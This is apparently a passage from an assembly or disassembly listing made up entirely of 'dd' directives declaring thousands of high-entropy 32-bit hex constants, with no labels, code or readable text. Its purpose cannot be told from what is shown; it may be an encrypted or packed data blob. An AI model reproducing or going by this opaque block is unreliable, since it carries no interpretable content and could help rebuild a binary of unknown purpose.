		dd 57FC13E6h, 43053C49h, 376EE508h, 6A68A075h, 2F7FECEDh
		dd 8BDF90E3h, 0B43F9BF2h, 5EE89E7Dh, 0E86621F8h, 6111020Fh
		dd 0E7F0B79Fh, 4086F8DBh, 0E07CD4ABh, 222E615Eh, 599377Fh
		dd 0E513AE26h, 0E1BCF9B2h, 7248947h, 0D2216A48h, 0FFCC125Fh
		dd 93BE0A14h, 6F6CC9F7h, 0EEE4E2D8h, 8C8700F3h,	138BCB2Ah
		dd 430A3DE7h, 3BE6FA46h, 2F783FCDh, 79DB101Fh, 0B1E03Bh
		dd 193C50F8h, 8825F3C5h, 0A6CC7190h, 7FE5B6F0h,	997112CDh
		dd 0D2F6EDC9h, 953B6165h, 0C3DDFB17h, 0A03B61EAh, 56A4D70Fh
		dd 26D086ACh, 1512BED5h, 0E12AC795h, 0FECAF701h, 29DB8316h
		dd 734BBBC8h, 3C8772A4h, 55AACB76h, 0E27B5ECDh,	0FB528DDh
		dd 9FE58357h, 2BC273Ah,	0B7861D1Bh, 458E8DBh, 4062B750h
		dd 51131F9Ch, 9DBC6E76h, 18D3E22Eh, 0B469757Fh,	6AABFFDh
		dd 0AA16BA55h, 87015C11h, 6EDA9BA7h, 694A6CB1h,	5C5686AEh
		dd 0DF12C129h, 96312B4Dh, 0C3265FECh, 10E3A2A6h, 0F9EC59E2h
		dd 580C7D24h, 0F527A6B7h, 3A0AAB0Eh, 0E7993744h, 505D006Eh
		dd 0BC1008B6h, 0A87DC49Eh, 81C5C64Bh, 927FB438h, 72293A0Eh
		dd 0B8122E5Dh, 47B8EE9Fh, 81BF9A33h, 6FA3500Ah,	0D785EB8Eh
		dd 7155FC35h, 262025AFh, 9A142495h, 286EF328h, 0CB0528CBh
		dd 4C8A9BF0h, 31D37FC5h, 68373805h, 154A2D88h, 0A4E0BA6Bh
		dd 5EEC7CEBh, 38461202h, 1522C23Fh, 22950101h, 1361FE53h
		dd 0BB193287h, 0FC1E86B4h, 2DD243C4h, 5B215F45h, 6C34DFEAh
		dd 543C7FB0h, 0AB19E2E9h
		dd 27AF0938h, 0F5C44092h, 0DC74C56Eh, 718C493Eh, 6E09F35Ah
		dd 0C76A360Ah, 58F56F76h, 0D37A5Dh, 0BFDE47F0h,	0D70EA855h
		dd 47C65733h, 1F8D8BB4h, 5118382Fh, 50C98135h, 8D9A44F2h
		dd 0E3214457h, 21084710h, 9EDCA3DAh, 3776464Dh,	5329296h
		dd 0D7FE9262h, 0D8926587h, 5C4AD415h, 552FE49Ch, 0A6643327h
		dd 903B4CFDh, 83583C5Bh, 2527EC79h, 4C622BFBh, 0E56B3042h
		dd 6F1F1053h, 2835B869h, 4F51928Ah, 0B0CEBA67h,	0CB8BEA37h
		dd 0B002EDBFh, 14894B49h, 1FC61215h, 0AEC71C1Ah, 1095AA9h
		dd 8947B60Ch, 5ADBB79Ch, 0D0822791h, 7057658h, 0E35E4E9Dh
		dd 0D7238AE9h, 0CE4E6FAh, 0FE9A8BBAh, 25ECB34Ch, 0B07C3B42h
		dd 0D15AD586h, 0BFE00805h, 940659E3h, 5884545Ch, 0E2114D3h
		dd 83F30F7h, 0F9D70186h, 0BEF57945h, 0DF7E331Fh, 0EEA14D9h
		dd 7BA5D067h, 3AFB00FBh, 0D10D9CA2h, 0F646F30Eh, 0EAD60CECh
		dd 0FE5A61A4h, 0FF1AFD87h, 0AB199027h, 49EF436h, 76B45E2Bh
		dd 3DE30B30h, 3322490Fh, 4AE1CDBBh, 5D03D8CEh, 91E3935h
		dd 2990E712h, 0DE2C4C5h, 407D2842h, 0EA03028h, 0D82A3DCFh
		dd 82376548h, 360A789Dh, 565DD864h, 0E2C89224h,	1309E725h
		dd 62B2789Eh, 32914927h, 0BBFF5629h, 473A8ABEh,	0B5B9A217h
		dd 99A24460h, 0A8C06281h, 8CD5F006h, 7F297DF0h,	4196FB5Bh
		dd 8BE9419h, 585124B5h,	7F934C3Dh, 84A2861Eh, 7DE621BAh
		dd 0A33F71F9h, 0AE59955h, 3D1F652Ch, 39E3F9DDh,	0A67815AEh
		dd 1A800E33h, 8991B230h, 0F98CA82Eh, 9104ACEAh,	5C1D9649h
		dd 0A975691Bh, 46C2C4B1h, 6C6E8A07h, 0BED6F046h, 0D8486AB2h
		dd 0D2DF143Dh, 150FDDA7h, 0B8F5B75Fh, 0CFFFFC0Ah, 6025E9D1h
		dd 653A7DD7h, 8FCE6CE4h, 89856A2Dh, 3D3B7763h, 1FC4E68Bh
		dd 75E3CEDBh, 8768D3A1h, 534E844Eh, 44BB8AFFh, 1D695417h
		dd 0F715B4Dh, 5A682657h, 9843FA95h, 0E431E47h, 72839C52h
		dd 2B1EC210h, 8107A4DBh, 885ACA0Dh, 85F0235Bh, 0B0B36F36h
		dd 36F82BA9h, 0AE3BBF91h, 9B33D324h, 0F7DF5B37h, 6FD7EC2Fh
		dd 0F0BD8189h, 1A4719BBh, 7316F88Dh, 0A96690CFh, 4A3D004Ah
		dd 0CB3CB00Ch, 0C33E982Ah, 46F860BFh, 97195588h, 978FD150h
		dd 951B0F49h, 3E4A4847h, 4EEE6CEh, 0C0EC6438h, 0D5AF045Bh
		dd 52B8B0CDh, 8D357DE6h, 419E9C6Bh, 0F8D7BEB9h,	6D86176Eh
		dd 0F8F49617h, 0BF5B4499h, 9A6F8997h, 2424C739h, 0B40E6C4Dh
		dd 1D4875DDh, 0FD033D16h, 0FA38697Dh, 49CD22A7h, 0AD7FF1D1h
		dd 9CA78016h, 6F94A019h, 4879769Eh, 545D6888h, 0C57277B0h
		dd 10842818h, 0C3A8ECCAh, 0ADBA630Fh, 0A3188E90h, 7D331F12h
		dd 245B1D89h, 0A1AAE494h, 0EFFFAA10h, 1C444D5Fh, 0FE65DB2Bh
		dd 0BABF8986h, 0EC5A50C2h, 66889D81h, 0F43BDA5Ch, 3D493FF4h
		dd 54DDAA5Bh, 0EC77DC4Bh, 292F1C3Ch, 0B7CAFE66h, 0FAE88314h
		dd 99E840E2h, 1017E044h, 351D59E8h, 0FA011594h,	14874812h
		dd 768EA1A6h, 0FDC13926h, 79ECC7A3h, 0DA623BA7h, 47307292h
		dd 0E516867h, 4C6773B4h, 491B9850h, 0F2D5E9E5h,	0F6E7756Fh
		dd 21253D5Ch, 39A1C4A1h, 0BFB6887Dh, 0B5410D3Bh, 78666C01h
		dd 9078543Ch, 0EA69EA9Eh, 2A6A9918h, 87EBA3F8h,	1347275Dh
		dd 6A67ED33h, 4366AC0Eh, 2DC3091Ch, 9E6BBA18h, 0D49544AAh
		dd 8E7D4160h, 6B6BE0B6h, 2BFAEF12h, 478BEB6Eh, 94B0DA1Ch
		dd 97BC86DEh, 0B193F34Eh, 2164733Dh, 421D2BDAh,	79CA1ABh
		dd 8E2E3FA3h, 0F5A7DA14h, 0D3B25E10h, 0DC5603D0h, 4F4ECA7Ah
		dd 9A6CABCFh, 0AF814BC3h, 82BF68BFh, 2455A575h,	1327F5C2h
		dd 0B8B6617Bh, 0A1EA0353h, 755B7361h, 10A4FCBh,	0BE98C3D4h
		dd 0C394AE43h, 0C4357100h, 0DB85F410h, 73E75302h, 9679C93Fh
		dd 5864C838h, 9B1BF00Fh, 31AA02BAh, 0BB571017h,	0FE96D20Eh
		dd 4426D0B1h, 31B5AFB4h, 64ACFBFEh, 59987883h, 48B834F0h
		dd 0CC59A53Dh, 628BEAD3h, 49E774D1h, 43A6193Bh,	15FA1B56h
		dd 38C8567Ah, 0C1A4EF30h, 2AF3835Fh, 5F1DB572h,	0A673976Bh
		dd 0BF1DC791h, 6CC716C7h, 0F127875Eh, 635712F6h, 5195894Fh
		dd 5A693F64h, 325411A7h, 1BB260A4h, 0C6A3D45Eh,	307A28E2h
		dd 0F9A2B6E3h, 618DB629h, 0F39D81C6h, 69378FFh,	0B814B55Dh
		dd 0E4A9E29Bh, 6ADC6F52h, 0E75CF343h, 0D4CBACA3h, 0EF435DA3h
		dd 8D75980Eh, 0DF6523ADh, 2A199B61h, 52732DB4h,	0E427C06Ch
		dd 92BE958Ch, 6DE6685Ch, 0EB380620h, 83B0D9E7h,	8B46716Fh
		dd 8D6F960Ah, 943C972Fh, 0D717C289h, 16BBCDE2h,	790FA388h
		dd 0B13A5E82h, 713DE3CCh, 0F051ADE1h, 0FC0B1C8Ch, 3B0C600Ah
		dd 0B607B02Eh, 0CFCD1F69h, 19D0DDDBh, 8E3F714Bh, 0B7992B9h
		dd 68E12897h, 0A362C0B5h, 0F1B88F1Dh, 43EF3C9Bh, 0EC91904Bh
		dd 5341F42Dh, 0B10C2DC0h, 0C5B4CF49h, 612C5E03h, 0BBA7F6FAh
		dd 0DC6C4341h, 3AD1E0B0h, 94A5A4A2h, 6B720877h,	0A4A42E55h
		dd 2732FCAAh, 8E237EB7h, 32CCB8C9h, 0E1EB78ADh,	0A8B1762Ah
		dd 0CEA9224h, 0BCA0762Dh, 915B4C1Dh, 0EEE9BA9Fh, 0F5C5AF45h
		dd 2310D59Eh, 0C156DDF2h, 0BDB15A7h, 0B2219E11h, 0D315D821h
		dd 58E24426h, 19122958h, 0B8EFE6C0h, 0FA00BC09h, 9142E0DBh
		dd 0A1E91DBAh, 7A1BF3ECh, 0DA89C15Dh, 0D82F6075h, 687C749Dh
		dd 9974F7F0h, 0A98BD704h, 0C0D0454Dh, 0FEF6D5C0h, 948898FAh
		dd 9EDE1F24h, 0E84EFA18h, 19AD3AB2h, 91BF0FE3h,	6AF2B375h
		dd 0BDA24D8Fh, 0B0A1AA99h, 32D7ADFh, 0A86A0EC7h, 0CA681D3h
		dd 324E733Fh, 84C3DEB5h, 3040D935h, 0A32ABFF3h,	0AA55DCD3h
		dd 0C9B3774h, 6DB8109Ah, 25D4382h, 0A7290120h, 7164C059h
		dd 5B1DD3A7h, 0B91D732Bh, 206AD0D7h, 72F767EFh,	85742998h
		dd 5A42AE23h, 0D15A7784h, 3AD73307h, 79811F76h,	6F4B7113h
		dd 0D6DD3CEh, 0B30765CAh, 2C0ACF10h, 6CA93336h,	0FEE89DFh
		dd 25711509h, 8FED66F7h, 75E4E26Ch, 7616D2C3h, 78669241h
		dd 48404085h, 58F22567h, 0E470E066h, 7A6CC8h, 5A319DDFh
		dd 95F0C607h, 0CB47FE28h, 0C98AD3A7h, 678EEF22h, 0BF10521Bh
		dd 0DF77987Ah, 5FC96D3Dh, 8E45139Bh, 88009AD0h,	63DDCC0Ch
		dd 893C14EEh, 7C17B3EEh, 8098CE7Ah, 0FF015637h,	895E7601h
		dd 0BD41F506h, 17685E27h, 0F4B96B48h, 22F4E402h, 995C3B1Bh
		dd 0D5BE4128h, 9B7D8A4Eh, 0BF6CD57Ah, 0D4007746h, 91420EB8h
		dd 32D43ECFh, 15928C45h, 0AC65D1Bh, 6CA5261Fh, 0ECBC4393h
		dd 232F7EC1h, 4F9AC786h, 0FB1003CFh, 0E29521FFh, 9B9BAC26h
		dd 0A6EC027Ch, 25894D0Eh, 7FB98100h, 890919F1h,	7281276Fh
		dd 0E2F12B71h, 0B3E6D0DFh, 175FB141h, 0B0DE7DE5h, 0FDA08754h
		dd 707B2695h, 46FF9D2Bh, 0C95B1B38h, 0F56CBF80h, 0FD56FE0Eh
		dd 0F8EE2307h, 0C010535h, 0AEDD18D2h, 24339558h, 28D68BBCh
		dd 0ABBDB389h, 0D90B1F52h, 793F2E5Bh, 0E995E015h, 0F3C86D70h
		dd 0B711F6F7h, 7B716D2Bh, 0EA4694B4h, 0BBC15D18h, 0D106B152h
		dd 6D9FD79Bh, 7C0DC366h, 0A4BFD836h, 151581B7h,	69D9B54Eh
		dd 0B1900967h, 0F8978F09h, 21D5194Fh, 3C5A5589h, 0BA60D185h
		dd 4490DF2Eh, 6EE96211h, 0C5E43812h, 547C6D02h,	0D663C155h
		dd 0FC16214Bh, 98D9BEFh, 0F8B5A9E4h, 0E2BCBCADh, 0BAFEF66Ah
		dd 31F535DFh, 0CB84C8A9h, 0C1D47C70h, 2B1F9684h, 3173CF3Dh
		dd 6A269CE4h, 0D8121775h, 7D530BA2h, 0DF03553Ah, 0CA5803A1h
		dd 67B1E33Ah, 824218Eh
		dd 3E94182Fh, 0E0047457h, 30C3AD90h, 25DE0CCBh,	0FB27236Fh
		dd 7F61FA73h, 1825876Eh, 46D0E173h, 9998BD65h, 5C3F48C0h
		dd 40315A78h, 0FA43DF14h, 2ADF298Fh, 90690DB0h,	9A2E4C4Ch
		dd 318E01E7h, 0DEBE7796h, 0DAC13685h, 0E9F67433h, 2E259B91h
		dd 78D7E3ECh, 3BC92A79h, 57042794h, 0EF78BB12h,	0A7A90D28h
		dd 0ED09CFC8h, 5CB8E07Ah, 465C9C19h, 0D9895C03h, 51267DB3h
		dd 6691801Ch, 66455AD8h, 0BA6E8DFEh, 72901E57h,	0B34770A8h
		dd 4143801Ah, 0BAAD6D98h, 853E6F21h, 5C2D564Ch,	9C0D6174h
		dd 0F686E32Bh, 52AA8571h, 95A9486Ch, 4E9C9A63h,	57C99703h
		dd 4E9AF2Eh, 0DFDAB07Fh, 8C3964EEh, 6C050127h, 2D3DE0D5h
		dd 0D89EFB36h, 0A0B26BCDh, 11957E6Bh, 0E9B6D3FBh, 0CBF7DC71h
		dd 0BB91AFA5h, 0A19538Eh, 8EB45913h, 427EF289h,	6220E64Bh
		dd 5FC040FCh, 3479A6CAh, 1FDAB245h, 714414A1h, 0CED894ADh
		dd 0F86407B8h, 0E1C80766h, 9F926708h, 46C73D1Fh, 480E2639h
		dd 0B5076DAh, 70BA48FFh, 8DFE24EDh, 0A0655470h,	774419F3h
		dd 99184846h, 6A61B9F5h, 78E39963h, 796641A4h, 0C8A42FFAh
		dd 0CBB49D15h, 0E3A9ECF3h, 0DC10CEADh, 0EE5354DAh, 288002BCh
		dd 9C4409CAh, 0D3519627h, 0BA248BB4h, 0E49985DBh, 0AC7A7AC4h
		dd 0FE825732h, 6793185Dh, 0F6373500h, 219818B9h, 0C3926807h
		dd 70E02AF4h, 7A18820Ch, 52898CC2h, 8E05083Ch, 0BFA46840h
		dd 5224D4EAh, 1044D233h, 0ABE0C297h, 325ED0BAh,	0FF7FCE3Fh
		dd 0B826D081h, 1181D64h, 92957DE5h, 3EA4DF1h, 4638D624h
		dd 0F73299DAh, 0CAD53CF4h, 0A2A65EE8h, 8494B4AEh, 1389A6B7h
		dd 0C87A480Eh, 0DBA7761Ah, 0C111BB20h, 18579130h, 5B4483F2h
		dd 10AACDFDh, 0C7849690h, 2DCD8031h, 452440AAh,	0DB3D8B78h
		dd 3FAA8956h, 44213DC5h, 2740F329h, 0FC548F99h,	32320AE4h
		dd 24A758C2h, 3FB35723h, 733843A4h, 7EAAFB58h, 0EFCB1C1Ch
		dd 0BF89BE1Ch, 7EC4C25Bh, 325B8644h, 0E4197393h, 21704536h
		dd 3030399Dh, 9785DC01h, 1CD14000h, 6CBB1817h, 62BC87AEh
		dd 0C7912D0h, 60810A07h, 3122F973h, 65616528h, 7986DC58h
		dd 0A3C27831h, 11641FF3h, 0E10FEE8Fh, 0D06217Dh, 393D4E7Ch
		dd 0B9B6E293h, 4D79FAAh, 3FCBF421h, 0F9E2AA0Bh,	29B0A893h
		dd 4124121h, 61BD7394h,	530C4EEAh, 0C0C49B4h, 9C131D8h
		dd 7586A9Ch, 823042F3h,	9A246FAFh, 0EB4D1E65h, 5E44D961h
		dd 0FA0A6763h, 0A630FC3Bh, 758AA8CDh, 0C0338E11h, 6233742Fh
		dd 64434D0Bh, 9CCFCFC2h, 1B9ACF77h, 0E078BEE3h,	6FF917E1h
		dd 83930BF4h, 8FCA760h,	95EA0432h, 0C7B8ACECh, 0E97D17EBh
		dd 98C5B1C4h, 3233F194h, 867878A6h, 6055EF4h, 6A663F3Dh
		dd 7F8EF75Dh, 8551F357h, 8E9FE71Ah, 8B3623B9h, 6F4BC07Eh
		dd 0F1AD72F4h, 0FEC7E89h, 0DA5F6F77h, 2CA8D8B8h, 81455D11h
		dd 0E5A4F901h, 0E19A0247h, 570146B5h, 0CE1B4EA5h, 3202B3Fh
		dd 95C6D3D5h, 490C5305h, 68BCEFCCh, 9FAC8770h, 0BC316949h
		dd 2E6D7EEFh, 8D998B17h, 67C43C2h, 0FCFC76B9h, 36DF5DC7h
		dd 2C3A7EE8h, 62F2FE1Fh, 0B3A3AA2Eh, 47A3F788h,	5C81E0B5h
		dd 93D9E2ABh, 0F6C43123h, 600BABB3h, 0AF558DBCh, 50437361h
		dd 62367C2Ch, 70CEE141h, 0E9915A28h, 0F3932CF3h, 0B82F4E6Ch
		dd 7D013419h, 0EB990122h, 83F6110Dh, 6FE439C3h,	83F806E4h
		dd 0DF6A63B5h, 45025EECh, 78939558h, 0C1AD9358h, 83EEC2F3h
		dd 2D80B6B1h, 0B133181Bh, 0AED8E439h, 8D3D52Fh,	4D0F6617h
		dd 0DD9720A1h, 0D816518Bh, 5C3A6B8Ch, 4D645090h, 21B8914Fh
		dd 0A44D0FC7h, 60FCAFE6h, 0CBE66B94h, 0B22DB3C9h, 611540F4h
		dd 471B9731h, 73225E2Eh, 2B1E00D7h, 3363DBFEh, 6A060149h
		dd 0F59777DBh, 7EC7AB02h, 3B0126A4h, 0FB0E5F1Ch, 3F24EB66h
		dd 0AF7992FBh, 0B8F91D29h, 7FEAB38Fh, 6FCB25D7h, 242F9BD4h
		dd 13B08B52h, 0D746D78Eh, 0C252D96Bh, 761C0AAEh, 6CE9B1CCh
		dd 3D27BC31h, 903C8C55h, 3BB64799h, 5B2CFE76h, 289BA541h
		dd 0AEB27714h, 0AB6CBAA4h, 23F1C7A3h, 0FB68EA5Ah, 42725E46h
		dd 7CC0F0DEh, 9DAE9EA2h, 0AB571F95h, 0A3CA7576h, 97A01EAh
		dd 70F249Bh, 7A47064h, 344C7C5Bh, 31FC2AE0h, 0D5E24C6h
		dd 0C6393DE6h, 0E54C64D5h, 0F331BD21h, 90F52D01h, 901B5777h
		dd 6B916F2Fh, 47CCD2F1h, 0CE3DA1A1h, 63AFFF79h,	14ACA41Ah
		dd 4342C0B3h, 67777685h, 0B2CBE7B6h, 42B35C9Ah,	0CD9E0386h
		dd 1B7EE332h, 0C4373435h, 0A8947585h, 504AA99Ch, 0E604F3AAh
		dd 95798A80h, 50361EF7h, 95685C2h, 94449A87h, 2FC4E6C3h
		dd 1F2D3F5Ah, 0DE9CFD78h, 909492A1h, 41227CCCh,	0FD82745Ch
		dd 2A39A4D8h, 40F87FB5h, 99486B07h, 0A4BEF2B2h,	55289CF1h
		dd 2DE53C6h, 17E24838h,	4CFDBF49h, 0CF075BBAh, 6D03F671h
		dd 481047E2h, 0FF5898Fh, 4BCAA355h, 0FE97CDE7h,	3023F8B1h
		dd 0DAB83F8Ah, 180612FBh, 0F01384Ah, 0FFA15231h, 9FC175C6h
		dd 5E20B01h, 0A77E2A5Bh, 78C009F9h, 21826880h, 0F6580285h
		dd 0E196DF4Ah, 40C7DE98h, 0A4F611BCh, 0EC04D03Eh, 45939FFCh
		dd 73E97C77h, 0D3D176A6h, 689F4AD0h, 27273D97h,	0C9779AC6h
		dd 0B1B4CC37h, 0B89A348h, 17CDCEB2h, 3D8FFD87h,	0FA1184BAh
		dd 74FF3DCh, 5F882117h,	0A9F4AE0Ah, 827ED391h, 0EBC3E6B2h
		dd 0FF2D2F19h, 0A3F774BDh, 9F1E391Dh, 0A905F0Ah, 72B34F41h
		dd 0D5D244A3h, 2AC127A4h, 3C777C8Bh, 0AF4A00FDh, 56C4B09Eh
		dd 0B86C39C1h, 0FE970268h, 0C0DDB0D5h, 0DC5DE92Fh, 2E7EA8F5h
		dd 7C0238BAh, 934AD1FAh, 7421A2F6h, 1B9B6142h, 4C526DE3h
		dd 16493BE1h, 0B88680B9h, 5D78A30Ah, 0F30E5381h, 0B75D8BC8h
		dd 0A32C87CFh, 1C747E4Eh, 7880769Ch, 0F00D56D9h, 8CF02909h
		dd 0BA735061h, 1B6EF88h, 0B4D405D5h, 1E35BA40h,	0C1D79BE6h
		dd 5ED94046h, 0F4483AD2h, 0CE7D1B47h, 0B436929Eh, 0D58AAA02h
		dd 4A43AA62h, 4A5DEAECh, 0CF5CF7FEh, 0FFAE248h,	0A6157FE2h
		dd 62F22E23h, 2ED75B7Bh, 2E64D183h, 52E524BCh, 0EDA9ADEFh
		dd 0D4AA80C0h, 0D73AB042h, 206A17A0h, 0A2D436C0h, 0C524A514h
		dd 2C8AE7D2h, 0DBC95E1Dh, 3CD5E969h, 6F39A440h,	0E19962FEh
		dd 1D428B8h, 0CC237AFDh, 0DE6D66C6h, 0F70E0164h, 52C85D2Ah
		dd 5391839Fh, 0C5A91450h, 9214E715h, 8D7EC4A0h,	0D3E2198Ah
		dd 7970AF97h, 607E3228h, 1454D846h, 56535109h, 64791CA6h
		dd 0C0D16B09h, 3E2629D8h, 36FDA55Fh, 78A4D9D7h,	18500C45h
		dd 0DB9A24A9h, 3D877822h, 0DBDD95B6h, 0DBAA0C0h, 7B8D7354h
		dd 4306F35h, 0ABF4FFE0h, 3F4EB052h, 8107C3D3h, 0F04980A8h
		dd 7F9DC009h, 0B7BF705Fh, 0F538C19Bh, 820EBF91h, 77C21419h
		dd 7160F1D8h, 955AE2FCh, 37041679h, 0A7998782h,	0B9ED3F2h
		dd 0DEF7624Ch, 6D531B1h, 0E6A54617h, 2377289Eh,	5F38319Dh
		dd 0F62336DDh, 0E916D8DFh, 2F92E173h, 0DA2722CFh, 0E45ADAACh
		dd 3787B80Eh, 1AE3F672h, 63A47AD2h, 84C41F13h, 0CDACEED7h
		dd 417C1F09h, 91018187h, 0A595DD9Ch, 2EC2CCAh, 0A60E9853h
		dd 0BA907014h, 243377F2h, 1C9B4C31h, 0B044CB6Fh, 94C1842Ah
		dd 6B72FE42h, 2BB8D0CAh, 0E902E2BEh, 0D8184EE5h, 0EDC08877h
		dd 0AB8308F5h, 886325ACh, 0E914EC5Ch, 0BF1C6B72h, 0BA159433h
		dd 0D98D4AABh, 0E51498D7h, 373B4725h, 8DC1C00Ch, 6AEFF7B2h
		dd 42B7D899h, 0EBE8C2Dh
		dd 168F24B2h, 0B4E64211h, 0ED7892D6h, 9FECA5A6h, 9500BA79h
		dd 88F4092Ah, 37C7DB31h, 1D7180A8h, 682A8178h, 0E2C27E70h
		dd 0C5AAB791h, 6DA81FAFh, 24FD61A8h, 0D7F92F4Ah, 3F637401h
		dd 3B3133D2h, 4C783AD7h, 50CEA363h, 13031D98h, 0A3B9ED29h
		dd 0B7942655h, 0B28A3A97h, 166A0B85h, 0E7938EBFh, 0B0A97820h
		dd 3E9515DAh, 0E54D2382h, 98670371h, 0DD1FD470h, 6086DA5Fh
		dd 0D6C31329h, 2B0C0A26h, 0D006EE32h, 0F938187Ah, 52EE63A9h
		dd 961F771Ah, 104F155Bh, 0D3BF328Ah, 8A7ED84Fh,	279AF585h
		dd 7C754FADh, 27E06E39h, 0BF3D0DD9h, 99C08CB7h,	0BA4F124Ch
		dd 943606CAh, 3FDF3466h, 8A7B3310h, 1313B35Ah, 493C7FB0h
		dd 0D2455294h, 5E094A76h, 901613CDh, 5FC2710h, 0D6952EE5h
		dd 0B5B9D98Eh, 41992E97h, 221805C9h, 0E28925Dh,	8D5F6B4Bh
		dd 0C7DDEFBEh, 2C104E97h, 0BC82F53Eh, 323F45EDh, 2EF49BEAh
		dd 0A405744Ch, 5426C894h, 0B632792Fh, 2772B38Eh, 88F7B0D1h
		dd 7D237CEh, 99B9E241h,	0AC87706Eh, 7EE4F95Bh, 312A803Dh
		dd 7DC554CEh, 0CDBFD985h, 0CD8096ECh, 90E9B107h, 3142137Bh
		dd 0CF0FFDC0h, 9D152325h, 55274C1Fh, 8FE492Bh, 830DF5B0h
		dd 176A02E0h, 0C9E7A7A9h, 78D1F1C8h, 0E15C8AA6h, 28E196BCh
		dd 93281B3Fh, 6C95FF65h, 22AB9467h, 11B5D697h, 68432DF8h
		dd 7ADC546Dh, 0B519E1B2h, 0E284376Ch, 2365B5FAh, 144A9834h
		dd 2FAF1CA8h, 4DDDA549h, 2E15E6Ah, 4109F30Bh, 0A7D5DE6h
		dd 35FB708Eh, 6CD48DBBh, 97551240h, 0DA4EC986h,	38607194h
		dd 0B7EFF63Fh, 0A8CDD0C0h, 2F9F020h, 0C448571Fh, 0A9BB974Eh
		dd 759AC4FEh, 9A8894D1h, 6C868F13h, 0A1960656h,	83603540h
		dd 14814876h, 60DD06h, 1D990FDAh, 0DBDCCB2Ch, 48025C39h
		dd 0A387681Ah, 0F76C1E2Ch, 1317907Ah, 24964DF1h, 0CE038C51h
		dd 776BF037h, 83A16E66h, 0E0A81B0Ah, 0C69DDBA7h, 18459979h
		dd 0B40BE19Bh, 0BF2A6EEFh, 0E9307D2Eh, 0B35D4526h, 0FBB40ADBh
		dd 0EB57AE95h, 0CBF57BBAh, 11F3FCD1h, 0AA04BE13h, 93B8189Eh
		dd 0A7EDCFE0h, 4F429D65h, 59D3F0C7h, 42FBAE65h,	55EC83D0h
		dd 7678FD1Eh, 87D1CF78h, 87F7C560h, 0F75F1596h,	47BC2F9h
		dd 9644ACF3h, 0F7133777h, 5F542761h, 0B90ABCD5h, 6A47566Bh
		dd 0CAF8D7E3h, 74245AF6h, 0C3125985h, 0A2D84B4h, 0F1235CB4h
		dd 0EB1F68D7h, 613CDDD2h, 10F06203h, 0C1B01FBEh, 0F26F780Dh
		dd 0E6138CD3h, 23A795EFh, 13889A7Bh, 0C25161B8h, 80D13215h
		dd 0EC6EA788h, 940489DBh, 0F44AA042h, 0ECE09F38h, 0C044E40Fh
		dd 279AF980h, 0CE0B120Fh, 0B26ECE3Ch, 3A15B2Eh,	530E3916h
		dd 0D680C31Dh, 0F007D71h, 7F993CA6h, 57040B69h,	8C6ED104h
		dd 80D5F048h, 7858C6ADh, 97C1FF06h, 0A5324828h,	2D8896EFh
		dd 0D6A25387h, 1B8C84A2h, 93977EE0h, 0D530EE8Dh, 505F9C3Bh
		dd 0EBF72F5h, 803CB868h, 0B4B8188Dh, 3DBEA99Ch,	0F1502B28h
		dd 77BBE33Fh, 0AAE26CADh, 27FFFEAEh, 9A49C6A9h,	92CE0605h
		dd 0C67EF4C0h, 0C0B0AF5Dh, 602E938Eh, 4E953804h, 7975F8BFh
		dd 6D8BB996h, 4535AA36h, 29A72F88h, 3423CEF2h, 26FF6CF7h
		dd 0E9C09A36h, 79471FA6h, 0F8A27416h, 56B87117h, 46DA3910h
		dd 91320184h, 0A1C4CEC0h, 676E5B40h, 0DFEA0122h, 773A8854h
		dd 0E588853Ah, 0B12305B3h, 329F5408h, 8E54AC3Ch, 2DC312DFh
		dd 0E4D1391Eh, 0C89FB7B3h, 0DA581977h, 0A696488Ch, 5089B725h
		dd 739BF574h, 5473221h,	6EA3BAE4h, 7F71818h, 2BF6E48Bh
		dd 8E883618h, 0A7BDA160h, 0EA79B322h, 12D8CF38h, 12FEA595h
		dd 0EDA1C59Eh, 91015BBDh, 0F126D96Dh, 158BCB08h, 4AC43498h
		dd 0DC06C8Dh, 8A711EF4h, 27C72373h, 4E90FD1Ch, 3E2D837Bh
		dd 6279213Ch, 78A2A70Ch, 162782C3h, 0FC13A6B0h,	0CD1BEE8Bh
		dd 928A68A9h, 8FD33C19h, 941E402Ch, 0F753D50Fh,	0F4055B67h
		dd 15025AE0h, 0F5E5EEE7h, 0A4F4BC9Dh, 5BAE6FDAh, 4D48A05Fh
		dd 1F2B900Dh, 8437DEAAh, 8BC9554Bh, 3169A4D8h, 0C0DB0F8Fh
		dd 5B8013D7h, 2E09BEE3h, 0A00DBBC0h, 0F22AA3FAh, 0D7F803F2h
		dd 33ECADFCh, 25FE3A2Fh, 8129B4Fh, 73A886D7h, 0B6E2BF9Ah
		dd 584B91A5h, 0CD6FC341h, 0D33BDD3Bh, 0FF1F1C52h, 665410CFh
		dd 0A8230779h, 0FC14B5ACh, 0B38BFABCh, 137CD05Eh, 0A03614D0h
		dd 6C730A67h, 1750EDA1h, 0B8FD8333h, 5AA8105Ah,	50126BD5h
		dd 82936AA4h, 91E86529h, 3A971AF6h, 0A588502Fh,	0F952EA5Fh
		dd 0FF83C6Ch, 67D01F35h, 6A7740CAh, 0AECA082Ch,	0E56A5D83h
		dd 29D3B6B3h, 0B26F5E2Fh, 0ED5C9F10h, 21474A68h, 632652C3h
		dd 24A753A4h, 17024F0Bh, 0D17CC442h, 47D76556h,	93B5FC8Fh
		dd 5D088328h, 7100243h,	0ABC506DBh, 8188CBE5h, 0CE6E83Fh
		dd 0AFF910C5h, 834E3C12h, 17728710h, 35BD3B39h,	846C88BBh
		dd 0F9E9E489h, 6E6F5D90h, 70F3C42Bh, 2DA9E0DBh,	3B24187Eh
		dd 0A2947B6Eh, 573A1A8Ah, 740F9235h, 2FF5707Ah,	0E73236C8h
		dd 0A5B49E20h, 46D46C16h, 9D592F4h, 2200ED62h, 1915457Ah
		dd 0CD1FBD15h, 77C36027h, 5CDEA54Dh, 5E1C2CB5h,	9EBEBE36h
		dd 36F5F999h, 368ED078h, 5EF228BAh, 69C9C11Ch, 92E41B29h
		dd 13602D06h, 68E16CE8h, 48D0910Fh, 0C39074F3h,	0F015694Fh
		dd 0F7C12097h, 35B0ABA4h, 4781B1AFh, 1B92F25Ch,	0B517181Fh
		dd 0CCE33249h, 0D35048BAh, 0F5F596D8h, 0EB60780Ah, 8ED03AC8h
		dd 7B6F53B1h, 3E888EE2h, 530ECD49h, 0DBB49005h,	7C8DCCA5h
		dd 276C30A6h, 7E2B9F26h, 48C10ACBh, 0BE0593EFh,	5BC6ED61h
		dd 94295025h, 7DBEBCA5h, 6B16EBC9h, 0BE4C51Dh, 0F46CC62h
		dd 2D0E03E7h, 5E2DC515h, 1DA4C77Bh, 9E544456h, 97565F9Dh
